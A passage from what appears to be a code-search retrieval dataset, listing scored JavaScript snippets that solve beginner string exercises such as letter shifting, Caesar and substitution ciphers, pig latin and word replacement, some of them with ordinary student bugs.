"0.6505838", "text": "function alphabeticShift(str) {\n const alph = \"abcdefghijklmnopqrstuvwxyza\";\n return str\n .split(\"\")\n .map((i) => alph[alph.indexOf(i) + 1])\n .join(\"\");\n}", "title": "" }, { "docid": "18a69d8d700288641bf9d3e38be6a897", "score": "0.65001035", "text": "function anagramPosition (string) {\n let chars = string.split('');\n\n // Use an IIFE to recursively calculate the position of input string in\n // an array of anagrams. Add 1 to the final result, for some reason.\n return (function calcPosition(str, totalIndex) {\n\n // Base case: a word must be at least two letters, so just return the final position\n if (str.length < 2) return totalIndex;\n\n // Calculate the number of word permutations per letter = total number of permutations / number of letters in string\n // Total permutations is (number of letters) factorial\n let totalPerms = factorial(str.length);\n\n // Find the character frequency of letters in this string\n const freqs = characterFrequency(str);\n\n // Iterate over the array of character frequencies, each time dividing the total permutations by\n // the (number of occurrences) factorial. This gives us the final total number of permutations\n // while accounting for character repeats\n totalPerms = freqs.reduce((total, currentFreq) => {\n return total /= factorial(currentFreq[1]);\n }, totalPerms);\n\n // The number of permutations beginning with each individual letter in the input string\n const permsPerLetter = totalPerms / str.length;\n\n // Grab the first letter of the string\n const firstChar = str.splice(0, 1);\n\n // Iterate over what's left of the string\n // If any letter comes before firstChar alphabetically, increase our total position\n // by the amount of permsPerLetter\n totalIndex = str.reduce((sum, char) =>\n char < firstChar ? sum + permsPerLetter : sum,\n totalIndex\n );\n\n // Finally, recurse with what's left of the string after removing the first character\n return calcPosition(str, totalIndex);\n })(chars, 0) + 1;\n}", "title": "" }, { "docid": "6f7f15e61ba5819750e92e09e3e40df7", "score": "0.6481601", "text": "function LetterChanges(str) {\n\n var numbers = [];\n var letters = [];\n var newstr = \"\";\n var vowels=[97,101,105,111,117];\n\n for( var i=0; i< str.length; i++){\n\n numbers.push(str.charCodeAt(i));\n\n if (numbers[i] > 64 && numbers[i] < 91){\n\n numbers[i]+=1;\n }\n else if( numbers[i]>96 && numbers[i]<123){\n numbers[i]+=1;\n }\n letters.push(String.fromCharCode(numbers[i]));\n newstr += letters[i];\n }\n return newstr;\n}", "title": "" }, { "docid": "c3a5d5e00975ec7d620fbf37738b9671", "score": "0.64805645", "text": "function letterChanges(str) {\n let newStr = str\n .toLowerCase()\n .replace(/[a-z]/gi, char =>\n char === \"z\" || char === \"Z\" ?\n \"a\" :\n String.fromCharCode(char.charCodeAt() + 1)\n );\n\n newStr = newStr.replace(/a|e|i|o|u/gi, vowel => vowel.toUpperCase());\n\n console.log(newStr);\n}", "title": "" }, { "docid": "67f9b1a509769b3ecc010769b64cc67e", "score": "0.64587396", "text": "function LetterChanges(str) { \n var t = str.split('');\n var newStr = '';\n t.forEach(function(t){\n var letters = /^[A-Za-z]+$/;\n var vowels =/^[A,I,E,U,O,a,e,i,u,o]+$/;\n var temp = String.fromCharCode(t.charCodeAt()+1);\n if(t.match(letters)){\n if(temp.match(vowels)){\n newStr = newStr + temp.toUpperCase()\n }else{\n \n newStr = newStr + temp\n }\n }else{\n newStr = newStr + t\n }\n \n })\n return newStr; \n \n}", "title": "" }, { "docid": "f10620d184cd69f284d173739671c342", "score": "0.6456201", "text": "function fearNotLetter(str) {\n const alphabet = 'abcdefghijklmnopqrstuvwxyz'\n for(let i in str){\n let alphabetReplaceIndex = alphabet.indexOf(str[i-1]) + 1\n if(i>0){\n if(str[i-1] != alphabet[alphabet.indexOf(str[i])-1]){\n return alphabet[alphabetReplaceIndex]\n }\n }\n }\n}", "title": "" }, { "docid": "d6107859406a252813fdacfce219c471", "score": "0.6433728", "text": "function substitution(input, alphabet, encode = true) {\n\n let normalAlpha= [...\"abcdefghijklmnopqrstuvwxyz\"];\n let lcaseInput = input.toLowerCase();\n let finalString = \"\";\n\n let matchingLetter;\n let encodedLetter;\n let matchingIndex;\n \n //remove all the duplicate letter\n let uniqueLetter = [...new Set(alphabet)];\n \n // If there's no uniqueLetter or uniqueLetter less or more that 26, return false;\n if(!uniqueLetter || uniqueLetter.length !== 26){\n return false;\n }else{\n\n // Should leave the space as it is.\n for(let char of lcaseInput){\n\n if (char == \" \"){\n finalString += char;\n\n }else{\n if(encode){\n /*Iterate throught the normalAlpha array to map the letters between\n two arrays - normalAlpya and alphabet- uing their indexes.*/\n matchingLetter = normalAlpha.find((letter) => letter === char);\n matchingIndex = normalAlpha.indexOf(matchingLetter);\n encodedLetter = uniqueLetter[matchingIndex]; \n }\n if(!encode){ \n matchingIndex = uniqueLetter.indexOf(char);\n encodedLetter = normalAlpha[matchingIndex];\n }\n finalString += encodedLetter;\n } \n }\n return finalString;\n }\n }", "title": "" }, { "docid": "f4a98507c08994ec3c0997c79f6e937d", "score": "0.6432081", "text": "function substitution(input, alphabet, encode = true) {\n // your solution code here\n\n //function to make sure characters in string are unique\n function isUnique(str) {\n return new Set(str).size == str.length;\n }\n //check if alphabet is preset, 26 characters, and has all unique characters\n if(!alphabet || alphabet.length != 26 || isUnique(alphabet) === false) return false\n \n //create an ojbect for encoded replacement alphabet values\n let encoder = {\n a : alphabet.charAt(0),\n b : alphabet.charAt(1),\n c : alphabet.charAt(2),\n d : alphabet.charAt(3),\n e : alphabet.charAt(4),\n f : alphabet.charAt(5),\n g : alphabet.charAt(6),\n h : alphabet.charAt(7),\n i : alphabet.charAt(8),\n j : alphabet.charAt(9),\n k : alphabet.charAt(10),\n l : alphabet.charAt(11),\n m : alphabet.charAt(12),\n n : alphabet.charAt(13),\n o : alphabet.charAt(14),\n p : alphabet.charAt(15),\n q : alphabet.charAt(16),\n r : alphabet.charAt(17),\n s : alphabet.charAt(18),\n t : alphabet.charAt(19),\n u : alphabet.charAt(20),\n v : alphabet.charAt(21),\n w : alphabet.charAt(22),\n x : alphabet.charAt(23),\n y : alphabet.charAt(24),\n z : alphabet.charAt(25)\n }\n //create an object for decoded replacement alphabet values\n const decoder = Object.fromEntries(Object.entries(encoder).map(a => a.reverse())) \n \n //check to see if encode is true or false to know which object to read from\n const result = encode ? encoder : decoder;\n \n return input\n //find matching character\n .match(/\\W+|[a-z]|/g)\n //take found characters and map the corresponding result from correct object\n .map(character => result[character] || character)\n //return a new string with the new characters\n .join(''); \n }", "title": "" }, { "docid": "92451dcd38eddcbba73c48f83287e278", "score": "0.6423927", "text": "function cipher(string, offset) {\n var alphabet = \"abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz\";\n var outputString = ''\n\n for (let index = 0; index < string.length; index++) {\n var letter = string[index]\n if (alphabet.includes(letter)) {\n var alphabetIndex = alphabet.indexOf(letter);\n var newLetter = alphabet[alphabetIndex + offset];\n outputString += newLetter;\n }\n else {\n var newLetter = string[index];\n outputString += newLetter;\n }\n }\n console.log(outputString);\n}", "title": "" }, { "docid": "bdc1b5b3c871035a0c06367e3b710171", "score": "0.6420574", "text": "function nextLetterFunc (word) {\n var new_word = \"\";\n for (var i=0; i<word.length; ++i) {\n if (word.charCodeAt(i)>=97 && word.charCodeAt(i)<122) {\n var letterCode = word.charCodeAt(i);\n new_word += String.fromCharCode(++letterCode);\n } else {\n new_word += \"a\";\n }\n }\n console.log(\"Input: \"+ word);\n console.log(\"Output: \"+ new_word);\n}", "title": "" }, { "docid": "0fe8d09e7c14aba87afab0d507e77e4f", "score": "0.63870114", "text": "function LetterChanges(str) {\n\n // we will replace every letter in the string with the letter following it\n // by first getting the charCode number of the letter, adding 1 to it, then\n // converting this new charCode number to a letter using the fromCharCode function\n // we also check to see if the character is z and if so we simply convert the z to an a\n var converted = str.replace(/[a-z]/gi, function(char) {\n return (char === 'z' || char === 'Z') ? 'a' : String.fromCharCode(char.charCodeAt() + 1);\n });\n\n // we have now successfully converted each letter to the letter following it\n // in the alphabet, and all we need to do now is capitalize the vowels\n var capitalized = converted.replace(/a|e|i|o|u/gi, function(vowel) {\n return vowel.toUpperCase();\n });\n\n // return the final string\n return capitalized;\n\n}", "title": "" }, { "docid": "90d4d844a4f3439e83e1628d3719c730", "score": "0.6380793", "text": "function letterShift(str) {\n return str\n .toLowerCase()\n .replace(/[a-z]/g, (char) => {\n if (char !== 'z') return String.fromCharCode(char.charCodeAt() + 1);\n return 'a';\n });\n}", "title": "" }, { "docid": "fecfa7533063ae2d2f19e85c8516f257", "score": "0.63731885", "text": "function pigLatinify(word, index) {\n // + handle word that begins with a vowel (attach yay to end of word)\n if (index === 0) return word + \"yay\";\n\n let lettersToMove = word.substring(0, index);\n return word.substring(index) + lettersToMove + \"ay\";\n}", "title": "" }, { "docid": "438412bf689ec60b34640b2df3fa9236", "score": "0.63663363", "text": "function letterChanges(str) {\n let newStr = str.toLowerCase().replace(/[a-z]/gi, (char) => {\n if(char === 'z' || char === 'Z') {\n return 'a'\n } else {\n return String.fromCharCode(char.charCodeAt() + 1)\n }\n });\n\n newStr = newStr.replace(/a|e|i|o|u/gi, (v) => v.toUpperCase())\n\n return newStr;\n}", "title": "" }, { "docid": "1d62e93ed26d28fbbacea3c7e1c0a7d6", "score": "0.6365684", "text": "function change(string){\n let zeroArray = ['0','0','0','0','0','0','0','0','0','0','0','0','0','0','0','0','0','0','0','0','0','0','0','0','0','0',];\n const alphabet = [\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"z\"];\n for(let j = 0; j < alphabet.length; j++){\n if(string.includes(alphabet[j]) || string.includes(alphabet[j].toUpperCase())){\n zeroArray[j] = '1';\n }\n }\n return zeroArray.join('');\n}", "title": "" }, { "docid": "afebdaddf7ae506229372bb963f1ca6d", "score": "0.63602304", "text": "function letterChanges(str) {\r\n let newStr = str.toLowerCase().replace(/[a-z]/gi, (char) => {\r\n if (char === \"z\" || char === \"Z\") {\r\n return \"a\"\r\n } else {\r\n return String.fromCharCode(char.charCodeAt() + 1)\r\n }\r\n })\r\n\r\n newStr = newStr.replace(/a|e|i|o|u/gi, (vowel) => vowel.toUpperCase())\r\n\r\n return newStr\r\n}", "title": "" }, { "docid": "fb98cf4c24511949681ac42f09482de8", "score": "0.6355121", "text": "function letterChanges(str) {\n let newString = str.toLowerCase().replace(/[a-z]/gi, char => {\n if (char === \"z\") {\n return \"a\";\n } else {\n return String.fromCharCode(char.charCodeAt() + 1);\n }\n });\n\n newString = newString.replace(/a|e|i|o|u/gi, vowel => vowel.toUpperCase());\n\n return newString;\n}", "title": "" }, { "docid": "0f8ad35a1185ea99b113a670cf88eccd", "score": "0.6354675", "text": "function myReplace(str, before, after) { \n console.log(str + \" Change --> \" + before +\" to --> \" + after ); //Degugging\n var myStr = str.split(\" \");\n let index = myStr.indexOf(before);\n let word = myStr.splice(index,1);\n var exp = /[A-Z]/g; \n if (word[0].search(exp) === -1) {\n myStr.splice(index, 0, after);\n console.log(\"Solution: \" + myStr.join(\" \"));//Debugging\n return myStr.join(\" \");\n } else {\n after = after.replace(after[0], after[0].toUpperCase());\n myStr.splice(index, 0, after);\n console.log(\"Solution: \" + myStr.join(\" \"));//Debugging\n return myStr.join(\" \");\n }\n}", "title": "" }, { "docid": "cc01f0a92e404828b8869f545b434e0a", "score": "0.6349746", "text": "function myReplace(str, before, after) {\n let capitals = /[A-Z]/\n let arrayStr = str.split(' ');\n\n\n //need to learn what find => find does in this case, returns index of before word though in essence\n let index = arrayStr.findIndex(find => find === before);\n console.log(index);\n\n\n //test for any capitals in our BEFORE word, if true first if statement runs.\n if (capitals.test(before)) {\n //gives us a way to manipulate after word based on prior if check, take first letter of after word, uppercase it and then add the rest of the word \n let capital = after.slice(0,1).toUpperCase() + after.slice(1);\n //edit the array to remove 1 word at the index(before word) and replace it with after word which is capitilized as required.\n arrayStr.splice(index,1,capital);\n return arrayStr.join(\" \");\n } else {\n //if no capitals, simply replace before word with after word at correct index\n arrayStr.splice(index,1,after);\n return arrayStr.join(\" \");\n\n }\n\n //console.log(index);\n\n //console.log(arrayStr);\n\n}", "title": "" }, { "docid": "f0d2a30253e8c92a5fb6774cc9561160", "score": "0.63492453", "text": "function updatePositionFromAlphabet(guid, position, alphabet){\n // If the position specified is out of bounds, return the GUID as is.\n if (position >= guid.length || position < 0) {\n return guid;\n }\n\n // TODO: replace Math.random with better RNG in the future.\n replacement = alphabet.substr(Math.floor(Math.random() * alphabet.length), 1);\n \n // Return the GUID string with the replaced character.\n return guid.substring(0, position) + replacement + guid.substring(position + 1);\n \n}", "title": "" }, { "docid": "6b51ba01abb4d9399f791115d7be2cd5", "score": "0.6346409", "text": "function position(letter){\n var a = 'abcdefghijklmnopqrstuvwxyz'.split('');\n for(var i=0; i<a.length; i++){\n if(letter==a[i]){return \"Position of alphabet: \"+(i+1)}\n }\n}", "title": "" }, { "docid": "7e982145c37577cf805bdd462de51204", "score": "0.63288635", "text": "function leet (str) {\n var newWord = str.split('')\n for(var x = 0; x < newWord.length; x++){\n if(x === 'e'){\n newWord.indexof(x) = 3\n } else (x === 'l'){\n newWord.indexof(x) = 7\n }\n }\n return newWord\n}", "title": "" }, { "docid": "2c0201dbddce8015db5cd5dc6c5984c3", "score": "0.63186514", "text": "function translatePigLatin(str) {\n let vowelArr = [\"a\",\"e\",\"i\",\"o\",\"u\"];\n let counter = 0;\n let indexArr = [];\n if(vowelArr.includes(str[0])) {\n return str+\"way\";\n } \n let strArr = str.split(\"\");\n strArr.map(k => {\n if(vowelArr.indexOf(k) >= 0) {\n indexArr.push(strArr.indexOf(k));\n\n //change the above to index of, push to an array, if > -1; sort the array, take index[0] and do a splice then reattach.\n\n counter += 1;\n };\n });\n if(counter === 0) {\n str = str+\"ay\";\n } else {\n indexArr.sort(); \n let stringEnd = str.slice(0,indexArr[0]);\n let stringStart = str.slice(indexArr[0]);\n str = stringStart + stringEnd +\"ay\";\n }\n return str;\n}", "title": "" }, { "docid": "e8251fa122c30a069d4ee8cf4cb778ae", "score": "0.63181674", "text": "function setLetter(word,letter,display)\r\n{\r\n\t// TODO using the conditional \"if\" statement check is parameter \"word\" is equal to the\r\n\t// value of null OR variable \"guessInt\" is equal to the value of 0\r\n\tif (word === null || guessInt === 0)\r\n\t{\r\n\t\t// TODO if the condition evaluates true \"return\"\r\n\t\treturn true;\r\n\t}\r\n\t// TODO using the \"else\" leg of the condition\r\n\telse\r\n\t{\r\n\t\t// TODO using the looping \"while\" statement check if function call \".search()\"\r\n\t\t// on parameter \"word\" passing parameter \"letter\" as an argument is NOT equal to value -1 \r\n\t\t\twhile ( word.search(letter) != -1 )\r\n\t\t{\r\n\t\t\t// TODO declare variable index set equal to .search() method on variable\r\n\t\t\t// \"word\" passing parameter \"letter\" as an argument\r\n\t\t\t\tvar index = word.search(letter);\r\n\t\t\t// TODO update parameter \"display\" set equal to method call .substr() on\r\n\t\t\t// parameter \"display\" passing arguments 0 and variable \"index\"\r\n\t\t\t// concatenated with parameter \"letter\" concatenated with method call\r\n\t\t\t// .substr() on parameter \"display\" passing as an argument parameter\r\n\t\t\t// index plus the value of 1\r\n\t\t\tdisplay = display.substr (0,index) + letter + display.substr (index + 1);\r\n\t\t\t// TODO update parameter \"word\" set equal to method call .substr() on\r\n\t\t\t// parameter \"word\" passing arguments 0 and variable \"index\"\r\n\t\t\t// concatenated with an explicit \"-\" concatenated with method call\r\n\t\t\t// .substr() on parameter \"word\" passing as an argument parameter\r\n\t\t\t// index plus the value of 1\r\n\t\t\tword = word.substr(0,index + \"-\" + word.substr(index + 1));\r\n\t\t}\r\n\t\t\r\n\t\t// TODO update HTML element with id \"theDashes\" followed .innerHTML set equal \r\n\t\t// to parameter \"display\"\r\n\t\t\tdocument.getElementById(\"theDashes\").innerHTML = display; \r\n\t\t}\r\n}", "title": "" }, { "docid": "3d61054229df76c301c8c43625cf2c93", "score": "0.6292389", "text": "function alphabetPosition(text) {\n let answer = [];\n text = text.toUpperCase();\n for (let char of text) {\n // convert uppercase char of input text into unicode\n let code = text.charCodeAt(text.indexOf(char))\n //check unicode number against uppercase alphabet range\n //then push real alphabet number into result array \n code > 65 && code < 91 ? ans.push(code - 64) : null\n }\n return answer.join(' ');\n }", "title": "" }, { "docid": "9ee21d6797df109b30ca1fc989b8d6ac", "score": "0.6284504", "text": "function substitution(input, alphabet, encode = true) {\n // your solution code here\n input = input.toLowerCase();\n let object = {};\n let regularAlphabet = [\n \"a\",\n \"b\",\n \"c\",\n \"d\",\n \"e\",\n \"f\",\n \"g\",\n \"h\",\n \"i\",\n \"j\",\n \"k\",\n \"l\",\n \"m\",\n \"n\",\n \"o\",\n \"p\",\n \"q\",\n \"r\",\n \"s\",\n \"t\",\n \"u\",\n \"v\",\n \"w\",\n \"x\",\n \"y\",\n \"z\",\n ];\n let result = \"\";\n let decodeIndex = [];\n let encodeIndex = [];\n // returns false if no alphabet key is present //\n if (!alphabet) {\n return false;\n }\n // make sure alphabet key is 26 char //\n if (alphabet.length !== 26) {\n return false;\n }\n //check for duplicates //\n for (let i = 0; i < alphabet.length; i++) {\n let char = alphabet[i];\n if (!object[char]) {\n object[char] = 1;\n } else {\n return false;\n }\n }\n // if encode = false, code to decode message //\n // loop through alphabet and return an array with index positions of input in the alphabet key //\n if (encode === false) {\n for (let i = 0; i < input.length; i++) {\n let inputChar = input[i];\n // maintains spaces //\n if (inputChar === \" \") {\n decodeIndex.push(inputChar);\n }\n for (let j = 0; j < alphabet.length; j++) {\n let keyChar = alphabet[j];\n if (inputChar === keyChar) {\n decodeIndex.push(j);\n }\n }\n }\n // loop through regularAlphabet and match index positions with the positions in the regularAlphabet //\n for (let i = 0; i < decodeIndex.length; i++) {\n if (decodeIndex[i] === \" \") {\n result += decodeIndex[i];\n } else {\n result += regularAlphabet[decodeIndex[i]];\n }\n }\n // final result will be the regularAlphabet letters at the matching index positions //\n return result;\n }\n // code to encode message //\n // loop through regularAlphabet and get the index positions of each char of input//\n for (let i = 0; i < input.length; i++) {\n let inputChar = input[i];\n // maintains spaces //\n if (inputChar === \" \") {\n encodeIndex.push(inputChar);\n }\n for (let j = 0; j < regularAlphabet.length; j++) {\n let regAlphaChar = regularAlphabet[j];\n if (inputChar === regAlphaChar) {\n encodeIndex.push(j);\n }\n }\n }\n // with an array of indexes for each letter of input, match the indexes with their index position in the given alphabet key //\n for (let i = 0; i < encodeIndex.length; i++) {\n if (encodeIndex[i] === \" \") {\n result += encodeIndex[i];\n } else {\n result += alphabet[encodeIndex[i]];\n }\n }\n // final result will be the letters of the alphabet key at the matching indexes //\n return result;\n }", "title": "" }, { "docid": "1167d6042eae6cf4646c4c33cdee706c", "score": "0.62814397", "text": "function substitution(input, alphabet, encode = true) {\n // your solution code here\n\n let result = \"\";\n const realAplhabet = \"abcdefghijklmnopqrstuvwxyz\";\n let inputInLowerCase = input.toLowerCase();\n\n /** \n * Create array of substitution alphabet\n * and check if any duplicate \n * return false in case of duplicate found\n */\n\n function isCharactersInSubstitionAlphabetUnique(alphabet) {\n\n const arrOfAlphabet = [...alphabet];\n for (let character of arrOfAlphabet) {\n\n const isDuplicateFound = arrOfAlphabet.filter((char) => (character === char))\n \n if (isDuplicateFound.length > 1) {\n return false;\n }\n return true;\n }\n }\n\n // return false if !input/alphabet\n if (!alphabet || !input) {\n return false;\n }\n\n // return false is alphabet <> 26\n if (alphabet.length != 26) {\n return false;\n }\n\n // return false if alphabet is unique\n if (!isCharactersInSubstitionAlphabetUnique(alphabet)) {\n return false;\n }\n\n // encoding mapping real alphabet : alphabet index\n const encodeAlphaMapping = [...realAplhabet].reduce((alpha, char, index)=>{\n alpha[char] = alphabet[index];\n return alpha;\n },{})\n\n // decoding mapping alphabet : real\n const decodeAlphaMapping = [...alphabet].reduce((alpha, char, index)=> {\n alpha[char] = realAplhabet[index];\n return alpha;\n }, {}) \n\n if(encode) {\n\n for (let char of inputInLowerCase) {\n if (char === \" \") {\n result += \" \";\n continue;\n }\n result += encodeAlphaMapping[char];\n }\n\n } else {\n\n for (let char of inputInLowerCase) {\n if (char === \" \") {\n result += \" \";\n continue;\n }\n result += decodeAlphaMapping[char];\n }\n }\n\n return result;\n \n }", "title": "" }, { "docid": "9a3fecaeb319f91c1003daf81c5bfaf6", "score": "0.6259512", "text": "function solve(s){\n let letter = 0\n for (let i = 0; i < s.length; i++ ) {\n s[i].toUpperCase() === s[i] ? letter++ : letter--\n }\n return letter <= 0 ? s.toLowerCase() : s.toUpperCase()\n}", "title": "" }, { "docid": "da4c95f576c294d7cf08b9d3ca4373fe", "score": "0.62391216", "text": "function myReplace(str, before, after) {\n let newStr = \"\";\n let beforeLength = before.length; //length of word being changed to after\n let index = 0;\n let isUpperCase = false;\n\n //Get index where before starts in string\n for (let i = 0; i < str.length; i++) {\n if (str[i] === before[0]) { //If letter matching first letter of before is found\n let k = 0;\n let check = 0; //Check to see if the index we found is where the full before word is\n for (let j = i; j < i + beforeLength; j++) {\n if (str[j] === before[k]) {\n check = 1; //If all the letters match check = 1\n k++;\n }\n else {\n check = 0; //If it isnt the before string check = 0\n break;\n }\n }\n if (check === 1) { //If string matches before word\n index = i; //Set index\n console.log(\"index of before is: \" + index);\n if (str[i] === str[i].toUpperCase()) { //If first character of before is capital\n isUpperCase = true;\n }\n else { //Else first letter is lowercase\n isUpperCase = false;\n }\n }\n }\n }\n\n if (isUpperCase === true) { //If before was capital, replace with capital after\n newStr += str.substr(0, index) + after.charAt(0).toUpperCase() + after.slice(1) + str.substr(index + before.length, str.length);\n }\n else { //Else if before was lowercase, replace with lowercase after\n newStr += str.substr(0, index) + after + str.substr(index + before.length, str.length);\n }\n console.log(newStr);\n return newStr;\n}", "title": "" }, { "docid": "2c408b632ad153ae3a5b45345022ee71", "score": "0.62232214", "text": "function substitution(input, alphabet, encode = true) {\n // your solution code here\n if(!alphabet || alphabet.length !== 26 || \n alphabet.split('').some((letter, index) => index !== alphabet.lastIndexOf(letter))) return false;\n input = input.toLowerCase();\n let abc = (encode ? \"abcdefghijklmnopqrstuvwxyz\" : alphabet);\n let cipher = (encode ? alphabet : \"abcdefghijklmnopqrstuvwxyz\");\n let output = '';\n \n for(let i=0; i<input.length;i++){\n if(input[i] === ' ') {\n output += input[i];\n } else {\n output += cipher.charAt(abc.indexOf(input[i]));\n };\n };\n return output\n }", "title": "" }, { "docid": "33b0171f68dbab35d5902e7253e28582", "score": "0.62203896", "text": "function substitution(input, alphabet, encode = true) {\n //check that alphabet is given an exactly 26 characters long\n if (!alphabet || alphabet.length !== 26) return false;\n //check that each character is unique\n if ((input, alphabet)) {\n const temp = [];\n for (let i = 0; i < alphabet.length; i++) {\n if (temp.includes(alphabet[i])) {\n return false;\n } else {\n temp.push(alphabet[i]);\n }\n }\n }\n input = input.toLowerCase();\n let result = \"\";\n // ENCODE\n if (encode) {\n let keyAlphabet = [];\n for (let k = 0; k < alphabet.length; k++) {\n keyAlphabet.push(alphabet[k]);\n }\n let numsArray = [];\n for (let j = 0; j < input.length; j++) {\n let currentLetter = input[j];\n if (currentLetter === \" \") {\n numsArray.push(currentLetter);\n } else {\n const letterValues = [\n \"a\",\n \"b\",\n \"c\",\n \"d\",\n \"e\",\n \"f\",\n \"g\",\n \"h\",\n \"i\",\n \"j\",\n \"k\",\n \"l\",\n \"m\",\n \"n\",\n \"o\",\n \"p\",\n \"q\",\n \"r\",\n \"s\",\n \"t\",\n \"u\",\n \"v\",\n \"w\",\n \"x\",\n \"y\",\n \"z\",\n ];\n for (let h = 0; h < letterValues.length; h++) {\n let matching = letterValues[h];\n if (currentLetter === matching) {\n numsArray.push(h);\n }\n }\n }\n }\n for (let i = 0; i < numsArray.length; i++) {\n if (numsArray[i] === \" \") {\n result += numsArray[i];\n } else {\n result += keyAlphabet[numsArray[i]];\n }\n }\n } else {\n //DECODE\n let keyAlphabet = [];\n for (let k = 0; k < alphabet.length; k++) {\n keyAlphabet.push(alphabet[k]);\n }\n let numsArray = [];\n for (let j = 0; j < input.length; j++) {\n let currentLetter = input[j];\n if (currentLetter === \" \") {\n numsArray.push(currentLetter);\n } else {\n for (let h = 0; h < keyAlphabet.length; h++) {\n if (keyAlphabet[h] === currentLetter) {\n numsArray.push(h);\n }\n }\n }\n }\n for (let g = 0; g < numsArray.length; g++) {\n if (numsArray[g] === \" \") {\n result += numsArray[g];\n } else {\n const letterValues = [\n \"a\",\n \"b\",\n \"c\",\n \"d\",\n \"e\",\n \"f\",\n \"g\",\n \"h\",\n \"i\",\n \"j\",\n \"k\",\n \"l\",\n \"m\",\n \"n\",\n \"o\",\n \"p\",\n \"q\",\n \"r\",\n \"s\",\n \"t\",\n \"u\",\n \"v\",\n \"w\",\n \"x\",\n \"y\",\n \"z\",\n ];\n result += letterValues[numsArray[g]];\n }\n }\n }\n return result;\n }", "title": "" }, { "docid": "29424d1f994d179cc34598665744468f", "score": "0.6215658", "text": "function alphabetIndex(str) {\n str = str.toUpperCase();\n var resultingString = '';\n for(var i = 0; i < str.length; i++){\n if(str[i].charCodeAt(0) >= 65 && str[i].charCodeAt(0) <= 90){\n resultingString += str[i].charCodeAt(0) - 64;\n if(i !== str.length){\n resultingString += ' ';\n }\n }\n }\n\n return resultingString.trim();\n}", "title": "" }, { "docid": "2b9a6e5411ea2cb6112d20d5d0f70325", "score": "0.62124485", "text": "function letterChange(str){\n let newStr = str.toLowerCase().replace(/[a-z]/gi, char => {\n if(char === 'z' || char === 'Z'){\n return 'a';\n }else{\n return String.fromCharCode(char.charCodeAt() + 1);\n }\n });\n newStr = newStr.replace(/a|e|i|o|u/gi, vowel => vowel.toUpperCase());\n return newStr;\n}", "title": "" }, { "docid": "fce13ddd6b9d8c1f577a07fb93bcc566", "score": "0.6211325", "text": "function spoonerize(words) {\n const temp = words[0]\n let letterToReplace;\n let output = []\n for(let i = 1; i < words.length; i++){\n if (words[i] === ' '){\n output.push(words[i + 1])\n }\n }\n for(let i = 1; i < words.length; i++){\n if (words[i - 1] === ' '){\n output.push(temp)\n i++\n }\n output.push(words[i])\n }\n return output.join('')\n}", "title": "" }, { "docid": "85e38ddd2f1abc51c244fa52a2001a81", "score": "0.62020695", "text": "function letterChanges(str) {\n let newStr = str\n .toLowerCase()\n .replace(/[a-z]/gi, char => {\n if(char === 'z' || char === 'Z') {\n return 'a';\n } else {\n return String.fromCharCode(char.charCodeAt() + 1);\n }\n }\n );\n\n newStr = newStr.replace(/a|e|i|o|u/gi, vowel => vowel.toUpperCase());\n\n return newStr;\n}", "title": "" }, { "docid": "08b0f0b0402dafd801c75f3eacac9e6d", "score": "0.61698735", "text": "function decipher(string, offset) {\n var alphabet = \"abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz\";\n var outputString = ''\n\n for (let index = 0; index < string.length; index++) {\n var letter = string[index]\n if (alphabet.includes(letter)) {\n var alphabetIndex = alphabet.indexOf(letter);\n var newLetter = alphabet[alphabetIndex + offset];\n outputString += newLetter;\n }\n else {\n var newLetter = string[index];\n outputString += newLetter;\n }\n }\n console.log(outputString);\n}", "title": "" }, { "docid": "197ceed46cc0e77d9ebad0aeaa7ff336", "score": "0.6156915", "text": "function abbreviate(string) {\n let newStr = string.split('');\n let sentence = [];\n let result = [];\n let tempWord = '';\n let tempNonWord = '';\n \n for(let i = 0; i <= newStr.length - 1; i++){ \n if(newStr[i].toUpperCase().charCodeAt(0) < 65 || newStr[i].toUpperCase().charCodeAt(0) > 90){\n if(tempWord){\n sentence.push([tempWord, 1]);\n }\n tempWord = '';\n tempNonWord += newStr[i];\n } else {\n if(tempNonWord){\n sentence.push([tempNonWord, 0]);\n }\n tempNonWord = '';\n tempWord += newStr[i];\n }\n \n if(i == newStr.length - 1){\n sentence.push([tempWord, 1]);\n }\n }\n \n for(let i = 0; i <= sentence.length - 1; i++){\n let str = sentence[i][0].split('');\n \n if(str.length > 3 && sentence[i][1] == 1){\n let firstLetter = str.splice(0,1)[0];\n let lastLetter = str.splice(str.length - 1, 1)[0];\n let ctr = str.length;\n \n result.push(firstLetter + ctr + lastLetter);\n } else {\n result.push(sentence[i][0]);\n }\n }\n \n return result.join('');\n}", "title": "" }, { "docid": "09bcf5de0c181bfe071fe2b8a7672a8e", "score": "0.61507237", "text": "function setLetterAt(str, index, letter) {\n return str.substr(0, index) + letter + str.substr(index + 1);\n}", "title": "" }, { "docid": "a862d81cc35cb1d566d9f6f850b2fb5c", "score": "0.6112139", "text": "function alphabeticShift(str) {\n str = str.split(\"\");\n for (let s in str) {\n str[s] =\n str[s] === \"z\" ? \"a\" : String.fromCharCode(str[s].charCodeAt() + 1);\n }\n return str.join(\"\");\n}", "title": "" }, { "docid": "4de0f24e471ff4597ffb3ff7cab86106", "score": "0.60962373", "text": "function substitution(input, alphabet, encode = true) {\n if (!alphabet || !input) return false;\n newAlphabet = alphabet.split(\"\"); //place new alphabet characters in array\n if (newAlphabet.length !== 26) return false; //if the length is not equal to 26 return false\n\n uniqueTrueOrFalse = newAlphabet.map((character) => {\n //go through each character of the new alphabet to check for uniqueness\n return newAlphabet.indexOf(character) === //starts from beginning of array to find index of the character\n newAlphabet.lastIndexOf(character) //starts at end of array to find index of the character, a repeated character will have a different index than starting from the front\n ? true //it is a unique chatacter\n : false; //it repeats\n });\n if (uniqueTrueOrFalse.some((unique) => unique === false)) return false; //if any of the characters repeat return false\n\n input = input.toLowerCase().split(\"\"); //put input into lowercase and set up as an array\n\n if (encode) {\n //if the encode is passed as true, encode the message\n let message = input.map((letter) => {\n //go through each letter of the input message\n let newIndex = oldAlphabet.indexOf(letter); //find where the index is in the array of the old alphabet\n\n if (newIndex === -1) return letter; //if the character doesn't match anything in the old alphabet, just return the letter (works great for space)\n\n return newAlphabet[newIndex]; //find the character that is in the same index in the new alphabet\n });\n return message.join(\"\"); //return the array as a message as a string\n }\n\n if (!encode) {\n //if the encode is passed as false, decode the message\n let message = 